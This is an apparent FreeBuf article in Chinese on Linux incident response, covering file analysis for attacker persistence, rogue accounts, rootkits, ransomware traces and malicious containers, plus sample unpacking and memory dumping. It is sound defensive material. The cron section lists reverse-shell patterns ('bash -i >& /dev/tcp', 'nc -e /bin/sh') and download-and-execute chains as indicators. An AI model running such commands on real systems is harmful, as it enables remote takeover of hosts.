freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Linux应急响应思路和技巧(二):文件分析篇
2024-12-09 20:10:21
所属地 福建省

前言

在上一篇中,我们介绍了应急响应整体流程和如何从进程入手进行主机侧应急排查。

Linux应急响应思路和技巧(一):进程分析篇

本篇我们将介绍Linux主机侧应急排查的文件分析部分。

Linux系统一切皆文件,攻击本身与系统的交互也离不开文件,凭据访问、持久化、防御绕过、恶意样本落盘、提权等攻击阶段都会涉及到文件。我们可以通过系统配置检查,确认配置是否被篡改或有新增恶意配置,从而定位出攻击者进行持久化、提权、留后门、隐藏攻击行为的手段;通过可疑文件变化查找,检查文件的创建、篡改、访问痕迹来识别攻击者落盘的可疑文件、临时文件或其他中间过程文件;通过对可疑文件进行深入的异常分析,可能提取到恶意代码样本,方便进一步分析其功能和攻击手段,以定位出更多其它可疑文件。

下图为Linux主机应急排查思维导图,本篇从文件方面进行介绍。

v2-4561a0acabb13ce3f1c8e30e4be9f3fe_720w.webp

图1 Linux应急排查思维导图

排查工具

文件分析常用排查工具包括系统自带命令(ls、find、locate、lsattr、cat、vi/vim、rpm、strings、systemctl、chkconfig、ldd、crontab、env),解码工具(base64解码、upx脱壳),gdb动态调试工具,ide反编译软件,容器相关配置查看命令(docker、kubectl、crictl、ctr)。注意区分有rootkit和无rootkit情况下的工具使用,有rootkit情况下可采用busybox提供的命令集。

可疑文件定位

1、系统配置检查

攻击者可能利用系统原生配置,通过篡改现有配置或添加恶意配置,达到持久化、提权、设置后门、隐藏恶意进程等目的,包括设置恶意定时任务、环境变量、启动脚本、启动服务、账号密码配置、账号权限配置、预加载库&动态库、内核模块。

1)定时任务

查看下列路径下定时任务文件内容:

/etc/crontab

/etc/cron.d/*

/etc/cron.hourly/*

/etc/cron.daily/*

/etc/cron.weekly/*

/etc/cron.monthly/*

/var/spool/cron/*

/etc/anacrontab

/var/spool/anacron/*

/var/spool/at/*

/etc/at.deny

/etc/at.allow

也可使用ctrontab(周期性定时任务)和at(一次性定时任务)系统命令查看,如crontab –l [username]命令列出某个用户cron服务的详细内容,默认从/var/spool/cron/[username]处获取;atq命令查询当前服务器上的at任务,at -c [编号]查询指定编号的at任务内容。

一般有下载(wget|curl|wge|cdl http://xxxor https://xxx)、加执行权限(chmod +x)、执行(xxx|sh)一系列动作的,有base64编码的(xxx|base64 -d),有添加可疑用户/用户组的(useradd xxx or groupadd xxx),有反弹shell(bash -i >& /dev/tcp/[ip]/[port]、nc -e /bin/sh [ip] [port]),有文件名较为随机或包含恶意特征的脚本或程序执行(a.sh、c.sh、payload.elf),有可疑路径下脚本或程序执行(/tmp/xxx、/var/tmp/xxx、/var/run/xxx),有’.’开头隐藏路径下可疑脚本或程序执行(/tmp/.xxx/xxx、/etc/.xxx/xxx),以及一些非运维管理并且与服务无关的定时任务大概率为恶意定时任务。

v2-c7f11926a547804972b1976806fbb231_720w.webp

图2 恶意定时任务示例

常用排查命令:

[root@localhost ~]#cat [file_path,如/etc/cron.d/*] #查看指定路径定时任务文件内容

[root@localhost ~]#crontab -l [username] #查看指定用户定时任务

[root@localhost ~]#atq #查看服务器当前一次性定时任务

[root@localhost ~]#at -c [num,如8] #查看指定编号的一次性定时任务

2)环境变量

查看下列路径下环境变量相关文件内容:

/etc/profile

/etc/profile.d/*

~/.bash_profile

~/.bash_login

~/.profile

~/.bashrc

/etc/bashrc

~/.bash_logout

也可使用env命令检查当前shell的环境变量;可查看/proc/[pid]/environ文件,获取指定进程的环境变量。

检查环境变量设置,关注是否存在可疑环境变量:如非运维管理添加的环境变量脚本(在一次真实应急事件中攻击者创建/etc/profile.d/bash.cfg.sh执行bash.cfg二进制,该二进制可用于隐藏恶意文件)、环境变量脚本包含执行隐藏路径或可疑路径的程序、PATH环境变量新增可疑路径、LD_PRELOAD环境变量新增可疑预加载库路径等。

v2-c7ec56a7de36e7384eff6264604a394b_720w.webp

图3 恶意环境变量示例

常用排查命令:

[root@localhost ~]#cat [file_path,如/etc/profile/bash.cfg.sh] #查看指定路径环境变量文件内容

[root@localhost ~]#env #查看当前shell环境变量

[root@localhost ~]#echo [variable,如$PATH] #查看指定名称的环境变量

[root@localhost ~]#strings -f /proc/[pid]/environ|cut -f2 -d ' ' #查看指定进程初始环境变量

3)启动脚本

查看下列路径下启动脚本文件内容:

/etc/rc.d/rc.local

/etc/rc.d/rc[0-6].d/*

/etc/rc.d/init.d/*

当系统进入特定的运行级别时,会执行上述目录中相应运行级别下的启动脚本,以启动或停止相应的系统服务,通常S开头的脚本用于启动服务,K开头的脚本用于停止服务。

检查启动脚本里是否有可疑启动命令,如非运维管理添加的和非系统自带的启动项(如/usr/local目录下无启动项所示组件相关的工作目录),脚本内容带可疑路径或带隐藏路径的启动命令,特别是一些带病毒家族特征字符串的,或脚本命名为系统组件相关启动项但实际内容却不相关的。

v2-c3fdb50577a95981d31513fe3a772262_720w.webp

图4 恶意启动脚本示例

常用排查命令:

[root@localhost ~]#cat [file_path,如/etc/rc.d/rc.local] #查看指定路径启动脚本文件内容

4)启动服务

红帽系7之前的系统,可使用chkconfig --list命令查看启动服务,可看到不同服务的不同运行级别下的开关状态。红帽系7及7之后的系统,可使用systemctl list-unit-files --type=service | grep "enabled"命令查看开机自启的服务,也可查看具体的启动服务脚本/usr/lib/systemd/system/xxx.service和/usr/lib/systemd/user/xxx.service内容。

主要检查是否有命名可疑的启动服务,是否有非运维管理添加的和非系统自带的启动服务,启动服务脚本中ExecStart字段的启动命令是否可疑,如带可疑路径、带敏感路径、带恶意特征、替换正常服务字符达到掩人耳目的目的(如0&O&o、 1&l&I)、带创建可疑容器、带添加可疑用户/用户组等操作。

v2-b2e9e672ec66e11cb6095a67efcb909f_720w.webp

图5 恶意启动服务示例

常用排查命令:

[root@localhost ~]#chkconfig --list #低版本系统中,列出所有启动服务

[root@localhost ~]#systemctl list-unit-files --type=service | grep "enabled" #高版本系统中,列出所有开机自启动服务

[root@localhost ~]#cat [file_path,如/usr/lib/systemd/user/r0ot_admins.service] #查看指定启动服务脚本文件内容

[root@localhost ~]#systemctl cat [service_name,如sshd] #查看指定启动服务脚本文件内容

5)账号密码相关配置

查看/etc/passwd文件内容,文件格式如下:

root:x:0:0:root:/root:/bin/bash

用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell

检查是否有重复账户,uid为0非root账户,所属组不存在的账户,非运维管理添加的可疑的可登录账户,用相似字符替换等方式伪装成正常系统或服务账户的可疑账户,启动恶意进程的账户。

查看/etc/shadow文件内容,文件格式如下:

root:$1$rdLuPBSL$V2KPLvBrT6rN8kVMoQuXL0:18192:0:9999:7:::

用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期的警告天数:密码过期之后的宽限天数:账号失效时间:保留字段

检查是否有重复账户,非运维管理添加的可疑的可登录账户(即存在加密密码字段),密码在入侵期间被修改的账户。

查看/etc/group文件内容,文件格式如下:

root:x:0:

组名:密码:组标识号:组内用户列表

检查是否有重复组,gid为0非root组,其他非运维管理添加的命名可疑的组。

v2-6ac0cf2ec5ce7c5b51897e635d008028_720w.webp

v2-78df9a17e74392e9d5b27f5b25bb50b4_720w.webp

v2-9e2fa8e67d7cd5a4c9e7728fb211a329_720w.webp

图6 恶意账户示例


查看SSH公钥文件~/.ssh/authorized_keys,查看是否存在SSH后门公钥,使得攻击者可以免密登录,查看文件是否存在恶意特征字符串(如通过redis未授权访问漏洞入侵写入SSH公钥文件,文件内容会带REDIS开头的字符串)。

v2-16792e59e85323ce0d9cb014a31f5109_720w.webp

图7 SSH后门公钥示例

常用排查命令:

[root@localhost ~]#cat [file_path,如/etc/passwd] #查看指定账号密码相关配置内容

[root@localhost ~]#chage -l [username,如admin] #查看指定账号密码修改时间

6)账号权限相关配置

查看/etc/sudoers、/etc/sudoers.d/*文件内容,文件格式如下:

%usernameALL=(ALL)NOPASSWD: ALL

用户名/%组名 主机名=(运行的新用户身份) [运行时无需密码标识:]命令

检查除root帐号外,其他帐号是否存在sudo权限,特别是那些运行敏感系统命令时无需密码的账号。与管理员确认,如非运维管理需要,普通帐号应删除sudo权限。

v2-f7cd15836eaecdd02e849022f9c45ffd_720w.webp

图8 恶意账号权限配置示例

常用排查命令:

[root@localhost ~]#cat [file_path,如/etc/sudoers] #查看指定账号权限相关配置内容

[root@localhost ~]#sudo -l -u [username] #查看指定用户sudo权限

[root@localhost ~]#sudo -l -g [groupname] #查看指定用户组sudo权限

7)预加载库/动态链接器/动态链接库

检查环境变量,排查预加载库项$LD_PRELOAD是否加载可疑so库。检查/etc/ld.so.preload、/etc/ld.so.conf.d/*文件,看是否有加载可疑so库。

v2-16bbf9681623cfc66e4c6fce20f827cb_720w.webp

图9 恶意预加载库示例

rpm -V校验动态连接器,检查是否被恶意篡改(即存在S.5)。

v2-c1256ee31f5bbaa0b3be4031ea74df08_720w.webp

图10 恶意动态链接器示例

使用ldd命令查看常用系统命令和可疑进程依赖库中是否有可疑的动态链接库文件(如带可疑路径、带隐藏路径、命名带恶意特征等),或查看/usr/local/lib[64]、/usr/lib[64]目录下是否有可疑的动态链接库文件。

v2-c301d0ea8a552c3c200e05fd1988f782_720w.webp

图11 恶意动态链接库示例

常用排查命令:

[root@localhost ~]#cat [file_path,如/etc/ld.so.preload] #查看指定预加载库配置内容

[root@localhost ~]#echo $LD_PRELOAD #查看预加载库环境变量

[root@localhost ~]#readelf -a /bin/ls | grep interpreter | awk -F 'interpreter:' '{print$2}' | sed 's/]$//g' | xargs rpm -Vf #校验系统动态链接器,/bin/ls可替换为其它未被篡改的系统命令

[root@localhost ~]#ldd [file_path,如/bin/ps] #查看指定文件的动态链接库

8)内核模块

可使用lsmod命令,或查看/proc/modules文件内容,或访问/sys/module目录检查是否存在可疑内核模块(如模块名可疑、模块大小异常、非运维管理添加的模块、/sys/module下存在但lsmod未显示的隐藏模块)。可进一步用modinfo命令查看模块详细信息,可关注filename字段非/lib/modules/$(uname -r)/kernel下、filename字段指定的文件不存在的、签名信息可疑、系统版本与当前实际版本对应不上的、模块详细信息无法展示的模块,还可将模块文件与威胁情报进行碰撞。如果LKM rootkit有隐藏自身路径和加载的行为,则通过上述方法无法排查到。

v2-2c81f31ffd805f74ace81e816fcbd87c_720w.webp

图12 恶意内核模块示例

常用排查命令:

[root@localhost ~]#lsmod #查看系统加载的内核模块

[root@localhost ~]#modinfo [module_name|file_path,如kdumpd] #查看指定模块名或模块文件路径的模块详细信息

2、可疑文件变化查找

这些变化产生的原因,可能是攻击者在攻击过程中落盘了攻击程序、临时文件或其他中间过程文件,可通过检查敏感目录下是否存在异常文件、检查是否存在隐藏文件、检查特定时间内被新增/访问/修改的文件、检查特定权限/属性的文件、检查系统命令是否被篡改、检查数据库目录下是否有大量加密文件来确定是否有可疑的文件变化。

基于容器日益广泛的应用,针对容器的攻击也日益增长,对于容器环境,可疑文件变化查找可增加判断容器镜像或容器是否恶意,对于容器内的文件,则可以按照与本篇一致的文件分析思路进行排查。

1)敏感目录下异常文件(可执行文件、脚本、临时文件)

查看敏感目录/usr/sbin、/usr/bin、/bin、/sbin、/boot、/tmp、/var/tmp、/dev/shm、/var/run、/var/lock下是否有可疑文件,如文件过大、文件名较随机的、文件名含病毒特征的(xmrig、payload)、恶意脚本、一些病毒产生的日志文件(勒索病毒加锁文件清单、病毒pid记录、病毒进程运行日志)、可移植能力强的(64位系统上的32位二进制、静态编译的二进制)、后缀与文件实际格式对应不上的。

v2-ed3f2a5fbff26e05435216d8e976f091_720w.webp

图13 勒索病毒加锁文件清单示例

常用排查命令:

[root@localhost ~]#ls -alh [dir|file_path,如/tmp] #查看目录或文件信息

[root@localhost ~]#locate [path,如xmrig、.sh] #查找指定路径特征的文件路径

[root@localhost ~]#file [file_path,如miner.sh] #查看指定文件类型

[root@localhost ~]#cat|vi|vim [file_path,如miner.sh] #查看指定文件内容

[root@localhost ~]#readelf -a|-h|-l [file_path,如xmrig] #查看指定二进制文件详细信息,若无.interp相关信息则说明是静态编译的

2)隐藏文件

查找以‘.’开头的带有隐藏路径的文件,特别是如果运行进程的打开文件中包含隐藏文件,则其为恶意文件的可能性增大。

v2-587bd5eb63dfd722dc30f250e7eeecf6_720w.webp

图14 恶意隐藏文件示例

常用排查命令:

[root@localhost ~]#find [dir,如/tmp] | egrep “/\.[^.]” #查找指定目录下隐藏文件

[root@localhost ~]#lsof | egrep “/\.[^.]” #查找运行进程打开文件中的隐藏文件

3)检查特定时间内被新增/访问/修改的文件

通过find命令根据文件时间戳的相关属性来查找入侵事件发生期间被创建、访问、修改的文件,方便后续进一步排查文件是否有异常。下表列出find命令和文件时间戳相关选项的用法。

find命令 文件时间戳的相关参数属性说明

-type b/d/c/p/l/f #对应查找 :块设备、目录、字符设备、管道、符号、链接、普通文件
-atime -n +n #对应 最近一次访问时间,单位天,-n 指 n 天以内,+n 指 n 天前
-mtime -n +n #对应 最近一次内容修改时间,单位天,-n 指 n 天以内,+n 指 n 天前
-ctime -n +n #对应 最近一次属性修改时间,单位天,-n 指 n 天以内,+n 指 n 天前
-amin -n +n #对应 最近一次访问时间,单位分钟,-n 指 n 分钟以内,+n 指 n 分钟前
-mmin -n +n #对应 最近一次内容修改时间,单位分钟,-n 指 n 分钟以内,+n 指 n 分钟前
-cmin -n +n #对应 最近一次属性修改时间,单位分钟,-n 指 n 分钟以内,+n 指 n 分钟前

表1 find命令与文件时间戳相关的参数说明

常用排查命令:

[root@localhost ~]#find [dir,如/tmp] -atime 1 -type f #查找1天内指定目录下被访问过的文件

[root@localhost ~]#find [dir,如/tmp] -mtime 1 -type f #查找1天内指定目录下文件内容被修改过的文件

[root@localhost ~]#find [dir,如/tmp] -ctime 1 -type f #查找1天内指定目录下文件属性被修改过的文件

4)检查特定权限/属性的文件

排查带SUID/SGID位的可疑文件,特别是非系统或业务需要的特权文件。

排查有特定权限的文件,比如敏感目录下带777权限的文件,或带777权限的/home/[username]目录下是否有可疑文件。

排查带i属性的可疑文件,如敏感目录下带i属性的脚本或配置。

常用排查命令:

[root@localhost ~]#ls -al [file_path] #查看指定文件权限

[root@localhost ~]#lsattr [file_path] #查看指定文件属性

5)检查系统命令

使用 rpm –V校验检测系统命令是否被替换,如果完整性校验正常将不会产生任何输出,如果有不一致的地方,则会输出8位长校验字符串,如果S和5出现,说明该系统命令很可能被恶意程序替换了。

v2-370bf055b8cb2e2d8f335ea738f5da05_720w.webp

图15 rpm校验未通过系统命令示例

下表对rpm校验字符含义进行了说明。

校验字符说明
S文件大小是否改变
M文件的类型或文件的权限(rwx)是否被改变
5文件 MD5 校验是否改变(可以看成文件内容是否改变)
D设备的主/从代码是否改变
L文件路径是否改变
U文件的属主(所有者)是否改变
G文件的属组是否改变
T文件的修改时间是否改变

表2 rpm校验字符说明

常用排查命令:

[root@localhost ~]#rpm -Va #rpm校验所有安装包

[root@localhost ~]#rpm -Vf [file_path,如/sbin/sshd] #rpm校验指定系统命令路径

6)数据库目录下加密文件

若服务器安装数据库,可查看数据库data目录下是否有大量异常的被加密文件,若有则可能中勒索病毒。可通过观察后缀(如locky、locked 、lck、royal 、avos 、sophos 、babyk、lockbit、cuba、hive、ransomexx等)、文件内容和带可疑后缀的文件数量来确认。

v2-1f01ce4101ee0004cc51afdf2077aa23_720w.webp

图16 被勒索加密文件示例

常用排查命令:

[root@localhost ~]#find [db_data_dir] -type f -iname "*[suffix,如.locked]" #查找指定数据库目录下指定加密后缀的所有文件

7)恶意容器镜像&容器

若服务器安装容器编排引擎(如k8s、k3s)或容器引擎(如docker、containerd),可排查是否存在可疑容器镜像和容器。

crictl/docker images查看容器镜像。crictl/docker ps -a --no-trunc查看容器。crictl/docker inspect查看更详细的容器信息。如果挂载目录为/、/usr/sbin、/usr/bin、/bin、/sbin、/boot、/tmp、var/tmp、/dev/shm等可疑目录,或拥有privileged特权,或拥有高权限的capability、或容器启动命令为恶意(base64编码或有下载执行恶意文件行为),镜像hash或容器hash命中恶意特征,镜像名或容器名命中恶意特征,则很可能为恶意容器镜像或容器。

v2-6c0f829e8233b2ce09b6e50e84998d29_720w.webp

图17 恶意容器示例

常用排查命令:

[root@localhost ~]#[crictl|docker] images #查看所有容器镜像

[root@localhost ~]#[crictl|docker] ps -a --no-trunc #查看所有容器

[root@localhost ~]#[crictl|docker] inspect [容器id|容器名称] #查看指定容器详细配置信息

3、文件异常分析

通过进一步研判恶意样本文件的行为和特征,拓线攻击过程,可定位出其他更多可疑文件,包括利用已知样本特征、样本静态和动态分析、利用现有检测工具检测。

1)利用已知样本特征

利用历史已知样本的特征来识别出恶意文件,如特征字符串、文件名、文件路径、二进制编码、恶意ip、恶意域名、恶意URL、文件哈希、矿池&钱包等IOC。对于被删除的文件,如果有进程仍在打开该文件并运行,可rz /proc/[pid]/exe获取内存中的程序文件。

可通过比对恶意文件名、恶意文件路径、恶意文件哈希等文件信息来识别出恶意文件。

可通过比对文件内容/文件硬编码的字符串和恶意特征(如特征字符串、恶意ip、恶意域名等)识别出恶意文件,可用strings命令查看文件硬编码字符串。

若确定某个进程或某个文件是恶意的,还可通过它们进一步追踪定位其它可疑文件。例如,可lsof –p [pid]查看恶意进程打开文件,进一步定位其他可疑文件(如带deleted标识文件、隐藏文件、非系统或业务常用so库等);可strace -e access,open -p [pid]或strace -e access,open [evil_file] [args]跟踪恶意进程或恶意文件的open()和access()系统调用,排查是否有打开或访问其他可疑文件,或再加上-P [evil_file]选项排查进程是否有访问恶意文件;可添加audit规则audit –a always,exit –S open,acess -F arch=b64 –F pid=[pid]或audit –a always,exit –S open,acess -F arch=b64 –F path=[evil_file]跟踪恶意进程或恶意文件的open()和access()系统调用,排查是否有打开或访问其他可疑文件,或者是否有其它可疑进程访问恶意文件。

常用排查命令:

[root@localhost ~]#md5sum/sha1sum/sha256sum [file_path] #计算文件哈希

[root@localhost ~]#rz /proc/[pid]/exe #获取内存中的程序文件

[root@localhost ~]#strings –n[length,如8] [file_path] #获取指定文件中指定长度及以上的字符串

[root@localhost ~]#lsof -p [pid] #查看指定进程打开文件

[root@localhost ~]#strace -e access,open -p [evil_pid] #strace跟踪恶意进程打开和访问系统调用,排查是否有打开或访问其他可疑文件

[root@localhost ~]#strace -e access,open [evil_file] [args] #strace跟踪恶意程序文件打开和访问系统调用,排查是否有打开或访问其他可疑文件

[root@localhost ~]#strace -e access,open –p [pid] -P [evil_file] #strace跟踪指定进程,确认是否打开和访问恶意文件,可帮助溯源

[root@localhost ~]#strace -e access,open [file_path] [args] -P [evil_file] #strace跟踪指定程序,确认是否打开和访问恶意文件,可帮助溯源

[root@localhost ~]#audit –a always,exit –S open,acess -F arch=b64 –F pid=[evil_pid] #audit跟踪恶意进程打开和访问系统调用,排查是否有打开或访问其他可疑文件

[root@localhost ~]#audit –a always,exit –S open,acess -F arch=b64 –F path=[evil_file] #audit跟踪恶意文件打开和访问系统调用,排查其它打开或访问恶意文件的可疑进程,可帮助溯源

2)样本分析(脱壳、dump内存分析、反编译)

可通过分析某个已确认是恶意样本的可疑文件,根据样本源码分析样本恶意行为,同时可结合沙箱分析结果,定位出更多相关的可疑文件。

  • 脱壳
    其中二进制的恶意样本多经过加壳,如常用UPX加壳,在样本脱壳后可进一步分析,upx工具链接:https://github.com/upx/upx

v2-9fd2ca124e8ceb92760ce808a45a9d7e_720w.webp

图18 upx加壳恶意文件示例

  • dump内存

针对非常规工具加壳的或程序文件已被删除的二进制恶意样本,如果有对应的恶意进程仍在打开该文件并运行,可dump恶意进程的内存分析。Linux环境下dump内存,可以使用系统自带的gdb。gdb dump步骤如下:

  1. 查看进程内存地址
    通过/proc/[pid]/maps确定可疑进程的内存地址。

v2-281541ec8dba2a20b5f3839986e429c5_720w.webp

图19 查看指定进程内存地址

2. 利用gdb dump内存

首先gdb attach [pid],attach到可疑进程;然后进入到gdb环境后,使用dump memory [file_path] [start_addr] [end_addr]将可疑pid对应的有效内存空间dump下来。file_path为输出的dump文件,start_addr是起始地址,end_addr是终止地址。有可能有多段不连续的内存地址段,可根据需要逐一对应dump。

v2-d5dc82894c386b91a3876c05b31c94b4_720w.webp

图20 gdb dump指定地址内存

  • 静态分析(反编译)
    常用ida_pro工具进行反编译,生成伪代码后进一步进行静态分析,ida_pro官网链接:https://hex-rays.com/ida-pro/。如果为Go编写程序,可安装IDAGolangHelper插件帮助逆向,插件链接:https://github.com/sibears/IDAGolangHelper。还可以安装Lumina插件帮助逆向,共享社区的注释和分析数据,插件链接:https://hex-rays.com/lumina/
  • 动态分析
    可结合样本动态分析结果,更全面地了解恶意程序行为,帮助定位其它可疑文件。通常需要准备一个安全隔离环境(虚拟机、沙箱、网络隔离)运行恶意程序,然后对其行为进行监控、观察和记录(如文件监控、进程监控、网络流量监控、CPU和内存资源占用监控等)。可以借助现有的沙箱分析工具,自动生成详细的动态分析报告,提高样本分析效率。

常用排查命令:

[root@localhost ~]# upx -d [file_path] #upx脱壳指定文件

[root@localhost ~]# cat /proc/[pid]/maps #查看可疑进程内存地址

[root@localhost ~]# gdb attach [pid] #gdb attach可疑进程

[root@localhost ~]# gdb dump memory [file_path] [start_addr] [end_addr] #gdb dump指定进程内存地址范围至指定文件

3)利用现有检测工具&检测规则

可将可疑文件上传沙箱检测,或将可疑文件哈希上传分析网站检测,也可收集现有YARA规则或自定义YARA规则进行检测(可参考此前发布的文章:https://www.freebuf.com/sectool/396935.html,提取出有效的检测规则),根据检测结果,可能获取到病毒类型、家族、病毒作者等信息,可在网上查找历史类似样本的分析资料,帮助进一步进行样本分析,定位出其它相关恶意文件。

小结

文件分析主要目标是能够识别到服务器上存在的被篡改文件和恶意文件并进行取证,同时通过对这些文件进行深入分析,确认攻击事件的影响(如造成数据损坏、提权等),分析出中了哪类和哪种病毒(如果样本分析出所中的病毒家族和病毒特征,则对进一步识别攻击源、攻击手段有重要作用),定位留存了什么后门(如后门用户、后门密钥、后门木马等),对攻击行为分析和后续的病毒清理、系统恢复有重要作用。以下总结了Linux应急排查文件分析过程中的一些排查命令。

v2-8110af3eff29959182451b6f7600c3f8_720w.webp

图21 Linux应急排查文件分析思维导图

下一篇我们将介绍Linux应急排查的网络分析部分。

Linux应急响应思路和技巧(三):网络分析篇

对系统网络连接、流量进行分析,可以发现恶意软件与C2间纵向的连接、受害服务器和下一个目标服务器之间横向的移动,可以帮助定位入侵入口,建立攻击事件的整个感染链路,也为切断攻击、隔离感染系统提供依据。相信在下一篇,通过对网络分析的介绍,能够以更全方位的视角,不仅限于当前的受害服务器,对发生的安全事件有一个全局的了解。

# linux安全 # 服务器 # 安全运维 # 安全应急响应 # 入侵检测与防御
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录